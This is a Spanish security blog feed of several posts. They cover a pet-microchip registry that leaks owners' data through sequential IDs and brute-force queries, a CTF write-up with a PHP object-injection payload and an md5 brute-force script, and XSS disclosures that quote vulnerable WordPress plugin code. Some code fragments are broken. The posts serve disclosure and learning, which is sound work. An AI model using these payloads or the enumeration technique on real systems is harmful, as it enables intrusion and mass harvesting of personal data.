SecurityTrooper

¿ES TU MASCOTA UNA FUGA DE DATOS?

adm1n — Wed, 09 Dec 2020 11:17:33 +0000

Introducción

Hoy en día, cada vez estamos todos más y más concienciados con dos temas: el cuidado de nuestras mascotas y la protección de nuestros datos personales. Pero, ¿podría ser que la mejora del primer aspecto afectase negativamente al segundo?

Qué duda cabe de que la llegada de los chips identificativos supuso un antes y un después para los animales domésticos. Permite localizarnos, como dueños suyos, en caso de pérdida. Asimismo, constituye un sistema “móvil” de almacenamiento de datos que acompaña siempre al animal, vaya donde vaya, llevando con él información relativa tanto a sus dueños como a su propia salud.

Aparentemente, se trata todo de puntos positivos. No obstante, como avanzábamos anteriormente, este almacenamiento de datos puede comprometer nuestra seguridad personal, como trataremos de demostrar a continuación.

Primeros pasos

La idea de analizar la seguridad del chip de las mascotas surgió del hallazgo de un gato callejero. Con la intención de comprobar si tenía dueño, adquirimos un lector FDX-B por Amazon. (https://www.amazon.es/dp/B07K4DLVMY/ref=cm_sw_em_r_mt_dp_U_2m.pEbH226WJ4).

FDX -B

Finalmente, no conseguimos nuestro objetivo con el gato extraviado. Sin embargo, ya que contábamos con el dispositivo, decidimos probarlo con nuestro propio gato, Bobi.

Bobi

La lectura del chip fue correcta y nos devolvió un número identificativo de 16 cifras. Este número servía como identificador único para usarlo en el buscador de la página oficial de REIAC (https://www.reiac.es/).

REIAC

Esta página, relativamente sencilla, ofrece un registro, a nivel nacional, de todas nuestras mascotas, del tipo que sean (desde gatos y perros, hasta iguanas, ratas, hurones, etc.) Recordemos, llegados a este punto, la existencia de una ley (Ley 8/2003, de 24 de abril, de sanidad animal, https://www.boe.es/buscar/act.php?id=BOE-A-2003-8510) que obliga a los propietarios de todos los animales domésticos a registrar a cada uno de sus animales con un identificador único.

Al realizar la búsqueda de dicho número, aparecieron en la web todos los datos almacenados bajo el ID encontrado en el chip de Bobi.

Información encontrada de Bobi

Análisis profundo

Observando la secuencia numérica del ID de Bobi, llegamos a la hipótesis de que, muy probablemente, no se trataría de números aleatorios, sino de una numeración correlativa.

Probamos a introducir el número anterior y posterior y, en efecto, obtuvimos información de otras dos mascotas (y sus respectivos dueños, claro).

Información encontrada nombre de mascota

Información encontrada sobre el estado actual de la mascota

Como se puede ver, algunos de los datos que devuelven son de bastante sensibles.

Lo que en sí mismo ya constituía un fallo de seguridad se agravó al comprobar que el reCAPTCHA de Google que dispone la web no se encuentra implementado correctamente y la carencia de un un token CSRF, pues fue posible, realizar consultas por “fuerza bruta” y obtener un listado con la información de 100 usuarios más.

Información realizando fuerza bruta

Conclusión

Como hemos podido demostrar, el sistema de almacenaje de información de mascotas a través de sus chips es altamente vulnerable, por diversos motivos:

Permite la lectura de cualquier chip mediante un dispositivo de muy fácil adquisición y utilización.
La lectura del chip devuelve un ID mediante el cual pueden consultarse en la web oficial de REIAC todos los datos almacenados para él, sin exigir ningún otro tipo de verificación.
Los ID de los chips siguen para su formación un sistema de números correlativos, de tal manera que, obteniendo uno, es sencillo adivinar otros anteriores o posteriores.
El sistema reCAPTCHA de Google que hay en la web no funciona correctamente y la carencia de un token CSRF permite la obtención masiva de datos de usuarios.

Visto lo visto, parece que vamos a tener que decidir: ¿la seguridad de nuestra mascota… o la nuestra propia?

La entrada ¿ES TU MASCOTA UNA FUGA DE DATOS? se publicó primero en SecurityTrooper.

Vulnerando General Motors (Bugbounty)(XSS)

adm1n — Sat, 05 Dec 2020 23:39:18 +0000

En este post os muestro como encontré un Cross Site Scripting (XSS) Reflejado en uno de los subdominios de “General Motors“.

Lo primero que hay que dejar claro es que una empresa que se encuentra afiliada a un programa de BugBounty (hackerone.com) por lo que su análisis está permitido, recordar que si no están afiliados a estos programas y les atacamos podemos meternos en un lio, además, hay que avisarles antes de realizar una publicación de dichas vulnerabilidades.

Otra cosa es que al pertenecer a estos programas hace que las posibilidades de encontrar algún tipo de vulnerabilidad sea muy baja.

Por eso, es recomendable intentar buscar dentro de sus subdominios para intentar ampliar las posibilidades de encontrar alguna vulnerabilidades que este dentro del Top 10 de OWASP:

En este caso, usé el script Sublist3r (https://github.com/aboul3la/Sublist3r) para listar los subdominios de gm.com.

Tras semanas de búsqueda, me centraré en el subdominio supply.eur.gm.com.

Este subdominio me llamó la atención por tener una apariencia de una web antigua.

Después de realizar una gran batería de pruebas (enumeración de usuarios, listado de directorios, SQLi…) me encontré con que no se hacia un correcto control de excepciones al forzar un error, es más, este error me mostraba todo el texto contenido en la URL.

Aprovechando este fallo, generé una inyección de código JavaScript al no filtrar correctamente los valores que se introducían en la URL.

Finalmente elaboré dos pruebas de concepto para enviárselas al programa BugBounty que tiene GM en la web https://www.hackerone.com/

[POC 1] Payload:

[POC 2] Payload:

Estas vulnerabilidades del tipo XSS permite que un atacante pueda, por ejemplo, redireccionar un subdominio legitimo a una web clonada para lograr un ataque de Phishing.

Por desgracia la compensación por el trabajo realizado por parte de GM fue nula, muchas veces pasa.

La entrada Vulnerando General Motors (Bugbounty)(XSS) se publicó primero en SecurityTrooper.

Moon Casino 2 – Web – NN9ed – ka0labs

adm1n — Sun, 06 Oct 2019 13:54:04 +0000

Comenzamos este reto accediendo a la URL http://casino.nn9ed.ka0labs.org (aún sigue disponible).

Nada más entrar vemos una página web con una imagen de fondo de la luna.
Lo primero que se nos ocurre es ver el código fuente y este nos da una siguiente pista para continuar.

La url «http://casino.nn9ed.ka0labs.org/index.php?source=go» nos devuelve el código fuente del propio archivo index.php

var]);
    }
}


if (!empty($_GET['action']) && $_GET['action'] == "debug") {
    echo base64_decode($_COOKIE['debug']);
    unserialize(base64_decode($_COOKIE['debug']));
    exit();
}


if (!empty($_GET['action']) && $_GET['action'] == "bet" && !empty($_POST['bet']) && !empty($_POST['guess'])) {
    if (strpos($_POST['bet'], "/") !== false) {
        echo "HACK ATTEMPT!!!eleven!!1!";
        exit();
    }
    $_SESSION['path'] = __FILE__;
    $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];

    // Unfair :(
    if (rand() === $_POST['guess']) {
        echo "You win:" . file_get_contents("secret.php");
    }
    else {
        echo "You lose :)";
    }
}  
?>


Moon Casino (under construction)

Después de realizar un estudio del código estático sacamos varias conclusiones:

La comparación estricta «===» es imposible de cumplir ya que se intenta comparar un entero de una función rand() con un string o array, por lo que hay que seguir otras vías para leer el archivo «secret.php» que es donde (suponemos) que está la flag.

    // Unfair :(
    if (rand() === $_POST['guess']) {
        echo "You win:" . file_get_contents("secret.php");
    }
    else {
        echo "You lose :)";
    }

El método unserialize suele ser famoso por su gran número de fallos de seguridad por lo que vamos a seguir esa via.

unserialize(base64_decode($_COOKIE['debug']));

Realizando una búsqueda rápida en google, nos encontramos con este link https://nitesculucian.github.io/2018/10/05/php-object-injection-cheat-sheet/, donde se hace referencia a los «PHP magic method» con unserialize que permite realizar llamadas a métodos del tipo «__wakeup» o «__destruct«, por suerte uno de esos métodos se encuentra en el archivo «index.php» dentro de la clase «casino_debug«. Vamos por buen camino

class casino_debug {
    public $var = "path";
    public function __wakeup(){
        var_dump($_SESSION);
        echo file_get_contents($_SESSION[$this->var]);
    }
}

Inyectando nuestro payload «O:12:»casino_debug»:1:{s:3:»var»;s:3:»bet»;}» (encodeado en base64) dentro del parámetro debug de la cookie, haremos que se realice una llamada al parámetro «bet» que se encuentra en nuestra «sesión» y que la ruta que contenga ese parámetro sea llamado con la función «file_get_contents«, es decir, que si conseguimos añadir (de alguna manera) la ruta al archivo secret.php dentro de ese valor «bet» de la sesión, tendremos (seguramente) nuestro flag.

La única forma de alterar el parámetro «bet» de la sesión es utilizando los parámetros «guest» y «bet» mediante el método POST.

    $_SESSION['path'] = __FILE__;
    $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];

La cosa se complica cuando hay que construir con esos parámetros («guest» y «bet«) un path correcto hacia el archivo «secret.php» para que este sea correctamente llamado por la función «file_get_contents«.

O:12:"casino_debug":1:{s:3:"var";s:3:"bet";}array(2) {
  ["path"]=>
  string(23) "/var/www/html/index.php"
  ["bet"]=>
  string(27) "ÄÊB8 ¹#
ÌPou/secret.php"
}

Sabiendo que con la comparación estricta «===» del rand no es el camino correcto (tal y como se comenta al principio), la única vía es generar un «md5» que termine «/..» para conseguir una ruta del tipo «/var/www/html/xxx/../secret.php«. Por suerte la forma con la que se genera ese md5() es en raw y este devuelve caracteres en formato binario.

Con este script haremos fuerza bruta hasta conseguir un resultado correcto (nos llevó unos 20 segundos):

function getrandomstring($length) {

       global $template;
       settype($template, "string");

       $template = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

       settype($length, "integer");
       settype($rndstring, "string");
       settype($a, "integer");
       settype($b, "integer");

       for ($a = 0; $a <= $length; $a++) {
               $b = rand(0, strlen($template) - 1);
               $rndstring .= $template[$b];
       }

       return $rndstring;
}


$i = 0;
do {

    $word = getrandomstring(4);
    $md5 = md5($word, TRUE);
    if (substr($md5, -3) == "/..") {
         echo $word;
         echo "\n";
         echo $md5;
         echo "\n";
     }


} while (True);

Una vez obtenido un resultado correcto (en nuestro caso: iwxQs), realizamos la petición para alterar el parámetro «bet» de la sesión.

Comprobamos que la ruta es correcta.

Ya tenemos nuestra flag.

La entrada Moon Casino 2 – Web – NN9ed – ka0labs se publicó primero en SecurityTrooper.

Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079

adm1n — Fri, 09 Feb 2018 10:47:57 +0000

Esta vez hablaré de un path trasversal que encontré en un plugin bastante conocido pero he de decir que es un poco limitado ya que solo lista carpetas.
Os dejo un vídeo en donde hice una POC

https://securitytrooper.com/wp-content/uploads/2018/02/videoplu.mp4

Siento no poner más información sobre el código que usa.

Agradecimiento del desarrollador:
https://wordpress.org/plugins/wp-smushit/#developers
Publicación en Packetstormsecurity:
https://packetstormsecurity.com/files/144494/WordPress-Smush-Image-2.7.4.1-Directory-Traversal.html
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15079

La entrada Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 se publicó primero en SecurityTrooper.

Mi primer CVE del 2018 CVE-2018-5316

adm1n — Wed, 10 Jan 2018 17:08:37 +0000

Aunque la vulnerabilidad la localicé el año pasado. Mitre ha decidido asignármela este año 2018. El CVE se basa en un Cross-site scripting en el plugin «SagePay Server Gateway for WooCommerce» versión 1.0.7.

Esta vulnerabilidad se encuentra en el parámetro «page» en el archivo»/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php» que carece de unos métodos correctos de filtrado.

' .
            '' .
            '' .
            '' .
            '3D-Secure Redirect' . 
            '' .
            '' .
            '' .
            '';
            
    echo $res;
?>

En la siguiente captura se comprueba que la ejecución de código se realiza correctamente.

Agradecimiento del desarrollador:
https://wordpress.org/support/topic/sagepay-server-gateway-for-woocommerce-1-0-7-cross-site-scripting/#post-9792337
Publicación en Packetstormsecurity:
https://packetstormsecurity.com/files/145459/WordPress-Sagepay-Server-Gateway-For-WooCommerce-1.0.7-XSS.html
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5316

La entrada Mi primer CVE del 2018 CVE-2018-5316 se publicó primero en SecurityTrooper.

Z-URL Preview (XSS) CVE-2017-18012

adm1n — Thu, 21 Dec 2017 06:50:47 +0000

Hace unos días conseguí finalmente contactar con el desarrollador del plugin «Z-URL Preview» donde le comentaba que tenia un Cross-site scripting en la versión 1.6.1.

Esta vulnerabilidad se encuentra en el parámetro «url» en el archivo»/wp-content/plugins/z-url-preview/class.zlinkpreview.php» que como se puede comprobar en la siguiente captura el constructor de la clase «ZLinkPreview» carece de los mecanismos necesarios para evitar la inyección de código.

url = $url;
        $this->getHTML();
    }

    function setParseMode($m = "r") {
        $this->parsemode = $m;
    }

    function getHTML() {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->url);
        curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . "/cacert.pem");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $this->html = curl_exec($ch);
        $this->curlinf = curl_getinfo($ch);
        $this->curlerr = curl_error($ch);
        $this->curlerrno = curl_errno($ch);

        if (!$this->html) {
            //echo 'Error: ' . curl_error($ch);
            //die();
            $this->htmlblank = true;
        }
        curl_close($ch);
//        $this->html = str_replace("", "url\">", $this->html);
    }

    function getcurlerrno() {
        echo $this->curlerrno;
    }

    function getcurlerr() {
        echo $this->curlerr;
    }

    function getcurlinf() {
        print_r($this->curlinf);
    }

    function getDescription() {
        if ($this->parsemode == "d") {
            $res = "";
            $dom = new DOMDocument();
            @$dom->loadHTML($this->html);
            foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:description
                if ($meta->getAttribute('property') == "og:description") {
                    $res = $meta->getAttribute('content');
                    break;
                }
            }
            if ($res == "") {  // failback to basic description
                foreach($dom->getElementsByTagName('meta') as $meta) {
                    if ($meta->getAttribute('name') == "description") {
                        $res = $meta->getAttribute('content');
                        break;
                    }
                }
            }
            if ($res == "") {  // failback to first p if meta's missing or blank
                $res = $dom->getElementsByTagName('p')->item(0)->nodeValue;
            }
            echo $res;
        } else {
            if (preg_match_all('/]*name="description")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    echo $content;
                }
            } else if (preg_match_all('/]*name="og:description")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    echo $content;
                }
            }
        }
    }

    function getTitle() {
        if ($this->parsemode == "d") {
            $title = "";
            $dom = new DOMDocument();
            @$dom->loadHTML($this->html);
            foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:title
                if ($meta->getAttribute('property') == "og:title") {
                    $title = $meta->getAttribute('content');
                    break;
                }
            }
            if ($title == "") {  // failback to title if og:title missing or blank
                $title = $dom->getElementsByTagName('title')->item(0)->nodeValue;
            }
            if ($title == "") {  // failback to h1 if title missing or blank
                $title = $dom->getElementsByTagName('h1')->item(0)->nodeValue;
            }
            echo $title;
        } else {
            // if (preg_match("/(.+)<\/title>/si", $this->html, $matches)) { // Changed due to issue with BBC news
            if (preg_match("/<title>(.+)<\/title>/i", $this->html, $matches)) {
                echo $matches[1];
            } else {
                $dom = new DOMDocument();
                @$dom->loadHTML($this->html);
                echo $dom->getElementsByTagName('title')->item(0)->nodeValue;
            }
        }
    }

    function getImage($multiple = false) {
        if ($this->parsemode == "d") {
                $res = "";
                $dom = new DOMDocument();
                @$dom->loadHTML($this->html);
                foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:image
                        if ($meta->getAttribute('property') == "og:image") {
                                $res = $meta->getAttribute('content');
                                break;
                        }
                }
                if ($res == "") {  // failback to first img if og:image missing or blank
                        $res = @$dom->getElementsByTagName('img')->item(0)->getAttribute('src');
                }
                if ($res != "") {  // only try and clean up the url if an image was found
                        // we need the fqdn without the trailing /
                        $urlo = rtrim ($this->url,"/");

                        $res = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $res);
                        if (substr($res, 0, 4) == "http") { // if the url starts with http we're done
                                $reso = $res;
                        } else {
                                if (substr($res, 0, 1) == "/") {  // if url starts with / then it could be an absolute path
                                        if (substr($res, 0, 2) == "//") {  // ok, not absolute, but for dual-mode http(s) sites
                                                $reso = "http:" . $res;
                                        } elseif (substr($res, 0, 3) == "://") {  // for dual-mode http(s) sites with :
                                                $reso = "http" . $res;
                                        } else {  // absolute to prepend fqdn
                                                $reso = $urlo . $res;
                                        }
                                } else {  // doesn't start with a / so a relative path - for now assume a / base path
                                        $reso = $urlo . "/" . $res;
                                }
                        }
                }
                echo $reso;
        } else {
            /* First we will check if facebook opengraph image tag exist */
            if (preg_match_all('/<meta(?=[^>]*property="og:image")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    $image[] = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $content);
                    if ($key == 5)
                        break;
                }
            }

            /* If not then we will get the first image from the html source */
            else if (preg_match_all('/]*src=["|\']([^"|\']+)/i', $this->html, $matches)) {
                foreach ($matches[1] as $key => $value) {
                    if (strpos($value, 'http') === false) {
                        // If trailing slash is missing from domain AND image path does not start with slash, insert one - technically should check for base href, but later :-)
                        if ((substr($this->url, -1) != "/") && (substr($value, 0, 1) != "/")) {
                            $image[] = $this->url . '/' . preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                        } else {
                            $image[] = $this->url . preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                        }
                    } else {
                        $image[] = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                    }

                    if ($key == 5)
                        break;
                }
            }
            $image_index = (isset($_GET['image_no'])) ? $_GET['image_no'] - 1 : 0;
            echo (!$multiple) ? $image[$image_index] : str_replace(array("\\", "\"", " "), array("", "", ""), json_encode($image));
        }
    }

}

$zlinkPreview = new ZLinkPreview($_GET['url']);
define('SHORTINIT', true);
require_once('../../../wp-load.php');
$linkmode = get_option('zurlpreview_linkmode');
switch ($linkmode) {
    case "target-blank":
        $linkmodehtml = ' target="_blank"';
        break;
    case "target-newwindow":
        $linkmodehtml = ' target="newwindow"';
        break;
    case "rel-external":
        $linkmodehtml = ' rel="external"';
        break;
    default:
        $linkmodehtml = '';
}
$zlinkPreview->setParseMode(get_option('zurlpreview_parsemode'));
?>
<div id="at_zurlpreview">
            <?php
            if ($zlinkPreview->htmlblank == true) {
            ?>
            <p class="imgd">Error No: <?php $zlinkPreview->getcurlerrno();  ?></p>
            <p class="imgd">Error: <?php $zlinkPreview->getcurlerr();  ?></p>
            <p class="imgd">Info: <?php $zlinkPreview->getcurlinf();  ?></p>
            <?php
            } else {
            ?>
            <?php
            if (get_option('zurlpreview_noheadtag') != "Yes") {
                   if (get_option('zurlpreview_linkheader') == "Yes") {
                    ?>
                    <h2><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php $zlinkPreview->getTitle();  ?></a></h2>
                    <?php
                } else {
                    ?>
                    <h2><?php $zlinkPreview->getTitle();  ?></h2>
                    <?php
                }
            }
            ?>
            <h3 style="display:none;"><?php $zlinkPreview->getTitle();  ?></h3>
            <?php
            if (get_option('zurlpreview_noimage') != "Yes") {
                   if (get_option('zurlpreview_linkimage') == "Yes") {
                    ?>
                    <p class="imgp"><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>>getImage(1); ?>" src="<?php $zlinkPreview->getImage();  ?>"></a></p>
                    <?php
                } else {
                    ?>
                    <p class="imgp">getImage(1); ?>" src="<?php $zlinkPreview->getImage();  ?>"></p>
                    <?php
                }
            }
            if (get_option('zurlpreview_nointro') != "Yes") {
            ?>
            <p class="imgd"><?php $zlinkPreview->getDescription();  ?></p>
            <?php
            }
            if (get_option('zurlpreview_titlelink') == "Yes") {
            ?>
            <p class="imgs"><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php echo htmlspecialchars($zlinkPreview->getTitle());  ?></a></p>
            <?php
            } else {
            ?>
            <p class="imgs"><?php echo get_option('zurlpreview_linktxt'); ?> <a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php echo preg_replace('#^https?://#', '', $zlinkPreview->url);  ?></a></p>
            <?php
            }
            ?>

            <?php } ?>
</div></pre>
			</div></p>
<p>En la siguiente captura se comprueba que la ejecución de código se realiza correctamente.</p>
<p></p>
<p>En la siguiente captura se comprueba el código dentro del cuerpo HTML.</p>
<p></p>
<p> </p>
<ul>
<li>Agradecimiento del desarrollador:<br />
<a href="proxy.php?url=https://wordpress.org/support/topic/z-url-preview-1-6-1-cross-site-scripting/">https://wordpress.org/support/topic/z-url-preview-1-6-1-cross-site-scripting/</a></li>
<li>Publicación en Packetstormsecurity:<br />
<a href="proxy.php?url=https://packetstormsecurity.com/files/145218/WordPress-Z-URL-Preview-1.6.1-Cross-Site-Scripting.html">https://packetstormsecurity.com/files/145218/WordPress-Z-URL-Preview-1.6.1-Cross-Site-Scripting.html</a></li>
</ul>
<p> </p>
<p>La entrada <a href="proxy.php?url=https://securitytrooper.com/z-url-preview-xss">Z-URL Preview (XSS) CVE-2017-18012</a> se publicó primero en <a href="proxy.php?url=https://securitytrooper.com">SecurityTrooper</a>.</p>

</article>
<article>
<h1>Wunderbar Basic (XSS)</h1>
<p>adm1n — Wed, 20 Dec 2017 07:34:32 +0000</p>
<p>Prosigo con Cross-site scripting dentro de plugins de Wordpres, en este caso el plugin es «Wunderbar Basic» versión 1.1.3.</p>
<p>El fallo de seguridad se encuentra en el parámetro «home» en el archivo»wp-content/plugins/wunderbar-basic-wysiwyg-front-end-editor/wb-adminbar.php» que como se puede comprobar en la siguiente captura carece de los mecanismos necesarios para evitar la inyección de código.<span id="more-93"></span></p>
<p><div class="snippetcpt-wrap" id="snippet-133" data-id="133" data-edit="" data-copy="/feed?snippet=33ae2cf209&id=133" data-fullscreen="https://securitytrooper.com/code-snippets/wunderbasic?full-screen=1">
				<pre class="prettyprint linenums lang-php" title="wunderbasic"><div id="wbinterior" >
<div id="wunderbarlogo"  >
    <a class='wblogobutton thickbox' title='Wunderbar Help' href='<?php echo $_REQUEST['home']?>help.html?width=500&height=300&TB_iframe=true' target='_blank'>
        images/wb-logo-rev.png" alt="The Wunderbar" />
        <span id='wbcmds'>    HELP / UPGRADE</span>
    </a>
    </div>
<div id="fakeeditarea" style='display:none'></div></pre>
			</div></p>
<p> </p>
<p>Efectivamente el código malicioso se ejecuta sin problemas.<br />
</p>
<p>En esta captura se muestra el código dentro del cuerpo HTML.</p>
<p></p>
<ul>
<li>Publicación en Packetstormsecurity:<br />
https://packetstormsecurity.com/files/145434/WordPress-Wunderbar-Basic-1.1.3-Cross-Site-Scripting.html</li>
</ul>
<p>La entrada <a href="proxy.php?url=https://securitytrooper.com/wunderbar-basic-xss">Wunderbar Basic (XSS)</a> se publicó primero en <a href="proxy.php?url=https://securitytrooper.com">SecurityTrooper</a>.</p>

</article>
<article>
<h1>Pinterest Badge (XSS)</h1>
<p>adm1n — Tue, 19 Dec 2017 09:45:32 +0000</p>
<p>Hoy os hablaré de otro Cross-site scripting que he descubierto dentro del plugin «Pinterest Badge» versión 1.8.0.</p>
<p>El fallo de seguridad se encuentra en el parámetro «uid» en el archivo»/wp-content/plugins/pinterest-badge/pinterestbadgedetails.php» que como se puede comprobar en la siguiente captura carece de los mecanismos necesarios para evitar la inyección de código.</p>
<p></p>
<p>Efectivamente el código malicioso se ejecuta sin problemas. </p>
<p>En esta captura se muestra el código dentro del cuerpo HTML.</p>
<p></p>
<p> </p>
<ul>
<li>Publicación en Packetstormsecurity:<br />
<a href="proxy.php?url=https://packetstormsecurity.com/files/145432/WordPress-Pinterest-Badge-1.8.0-Cross-Site-Scripting.html">https://packetstormsecurity.com/files/145432/WordPress-Pinterest-Badge-1.8.0-Cross-Site-Scripting.html</a></li>
</ul>
<p> </p>
<p>La entrada <a href="proxy.php?url=https://securitytrooper.com/pinterest-badge-xss">Pinterest Badge (XSS)</a> se publicó primero en <a href="proxy.php?url=https://securitytrooper.com">SecurityTrooper</a>.</p>

</article>
<article>
<h1>Envíate los últimos CVEs a tu Telegram</h1>
<p>adm1n — Wed, 13 Dec 2017 07:18:15 +0000</p>
<p>En este artículo os explicaré como crear un bot que te permita estar informado de los últimos CVEs que se están publicando al momento.</p>
<p>Lo primero que tenemos que hacer es instalar nuestra librería de Telegram para pyhon haciendo uso de pip.</p>
<pre class="lang-py prettyprint prettyprinted"><code><span class="pln">pip install python</span><span class="pun">-</span><span class="pln">telegram</span><span class="pun">-</span><span class="pln">bot</span></code></pre>
<p>Para el desarrollo de nuestro bot hay que hacer uso de «The Botfather» (https://core.telegram.org/bots) que consiste en una aplicación creada por Telegram que hará como mediador entre Telegram y nuestro código.</p>
<p>Para ello, hay que acceder al canal «BotFather» mediante una de las plataformas que nos ofrece Telefram (iOS, Android o Windows) o (Mac, Windows, Linux, versión web).<br />
En este caso, usaré su versión web (https://web.telegram.org/).</p>
<p></p>
<p> </p>
<p>Una vez dentro de ese canal, basta con poner «/start» luego «/newbot» y después introducir el nombre de tu bot, recuerda que tiene que ir acabo de «_bot» o «bot».</p>
<p></p>
<p>Con en mensaje anterior, confirmaremos que esta todo creado correctamente.<br />
Es muy importante que tengamos a nuestro Bot en contactos ya que se necesitará saber el chat_id que tenemos en común.<br />
Seguramente existan modos de obtener este «chat_id» más sencillos pero os voy a explicar el que uso yo.</p>
<p>Este Script te ayudará a obtener el chat_id pero para que funcione tienes que (previamente) haber hablado con tu bot (Ej del chat del bot: t.me/XXXXXXXX_bot)<br />
Recuerda poner tu TOKEN previamente obtenido.</p>
<p><div class="snippetcpt-wrap" id="snippet-83" data-id="83" data-edit="" data-copy="/feed?snippet=33ae2cf209&id=83" data-fullscreen="https://securitytrooper.com/code-snippets/get-chat-id-telegram?full-screen=1">
				<pre class="prettyprint linenums lang-abap" title="get-chat-id-telegram"># -*- coding: utf-8 -*-
#Importamos liberia telegram
import telegram
 
#TOKEN de la API - Botfather
TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
bot = telegram.Bot(token=TOKEN)
 
updates = bot.get_updates()
print([u.message.chat_id for u in updates])

</pre>
			</div></p>
<p>El resultado sería algo así:<br />
<br />
El chat_id será del estilo de 17XXXXX. Este chat_id tambien puede ser un valor negativo (Ej: -17XXXXXX).</p>
<p>Pues bien ahora con tu chat_id y tu TOKEN ya podemos hacer uso de este Script para obtener los últimos CVEs que se están publicando vía Twitter.</p>
<p><div class="snippetcpt-wrap" id="snippet-72" data-id="72" data-edit="" data-copy="/feed?snippet=33ae2cf209&id=72" data-fullscreen="https://securitytrooper.com/code-snippets/twitter-cron?full-screen=1">
				<pre class="prettyprint linenums lang-python" title="twitter-cron"># -*- coding: utf-8 -*-
#Importamos liberia de Telegram y BeautifulSoup
import bs4,telegram

#TOKEN de la API - Botfather
TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
mi_bot = telegram.Bot(token=TOKEN)

#ID del chat de Telefram
chat_id = 1000000000000

#Nombre de la cuenta que se quiere obtener los Twits
account = "CVEnew"

#Obtenemos el contenido de de la página de twitter 
result = requests.get("https://twitter.com/"+account)
c = result.content

#Nos ayudamos la librería BeautifulSoup
soup = bs4.BeautifulSoup(c, "html.parser")

for div in soup.find_all("li", {"class":"stream-item"}):
    #Obtención de ID único que usa Twitter
    item_id = div["data-item-id"]
    
    #Se obtiene el contenido del Twitt
    content = str(div.find("p", {"class":"TweetTextSize"}).text)
    
    #Se envia el resultado a mi chat de telegram
    mi_bot.sendMessage(chat_id=chat_id, text="@" + account + " -- " + content)
</pre>
			</div></p>
<p>Recuerda que este Script es un ejemplo de como se obtiene los Twits del canal CVEnew y solo recoge los Twits, es decir, haría falta implementar un Cronjob que te devuelva constantemente estos Twits y trabajar bajo una base de datos que controle las notificaciones recibidas.</p>
<p>La entrada <a href="proxy.php?url=https://securitytrooper.com/enviate-los-ultimos-cves-telegram">Envíate los últimos CVEs a tu Telegram</a> se publicó primero en <a href="proxy.php?url=https://securitytrooper.com">SecurityTrooper</a>.</p>

</article>
<article>
<h1>WP Mailster (XSS) CVE-2017-17451</h1>
<p>adm1n — Tue, 12 Dec 2017 21:42:10 +0000</p>
<p>Hoy os hablaré de otro Cross-site scripting que he descubierto el plugin «WP Mailster» versión 1.5.4.0 de la empresa Brandtoss (<a href="proxy.php?url=https://wpmailster.com/">https://wpmailster.com/</a>)</p>
<p>El fallo de seguridad se encuentra en el parámetro mes en el archivo»wp-mailster/view/subscription/unsubscribe2.php» que como se puede comprobar en la siguiente captura carece de los mecanismos necesarios para evitar la inyección de código.<span id="more-64"></span></p>
<p><div class="snippetcpt-wrap" id="snippet-65" data-id="65" data-edit="" data-copy="/feed?snippet=33ae2cf209&id=65" data-fullscreen="https://securitytrooper.com/code-snippets/code-6?full-screen=1">
				<pre class="prettyprint linenums lang-php" title="code-6">  <h2 class="componentheading mailsterUnsubscriberHeader">Unsubscription</h2>
    <div class="contentpane">
        <div id="mailsterContainer">
            <div id="mailsterUnsubscriber">
                <div id="mailsterUnsubscriberDescription"><?php echo $_GET['mes']; ?></div>
            </div>
        </div>
    </div></pre>
			</div></p>
<p> </p>
<p>Efectivamente el código malicioso se ejecuta sin problemas.<br />
</p>
<p>En esta captura se muestra el código dentro del cuerpo HTML.</p>
<p></p>
<p> </p>
<ul>
<li>Agradecimiento del desarrollador:<br />
<a href="proxy.php?url=https://wordpress.org/plugins/wp-mailster/#developers">https://wordpress.org/plugins/wp-mailster/#developers</a></li>
<li>Publicación en Packetstormsecurity:<br />
<a href="proxy.php?url=https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html">https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html</a></li>
<li>CVE:<br />
<a href="proxy.php?url=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17451">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17451</a></li>
</ul>
<p> </p>
<p>La entrada <a href="proxy.php?url=https://securitytrooper.com/wp-mailster-xss-cve-2017-17451">WP Mailster (XSS) CVE-2017-17451</a> se publicó primero en <a href="proxy.php?url=https://securitytrooper.com">SecurityTrooper</a>.</p>

</article>
</main></body></html>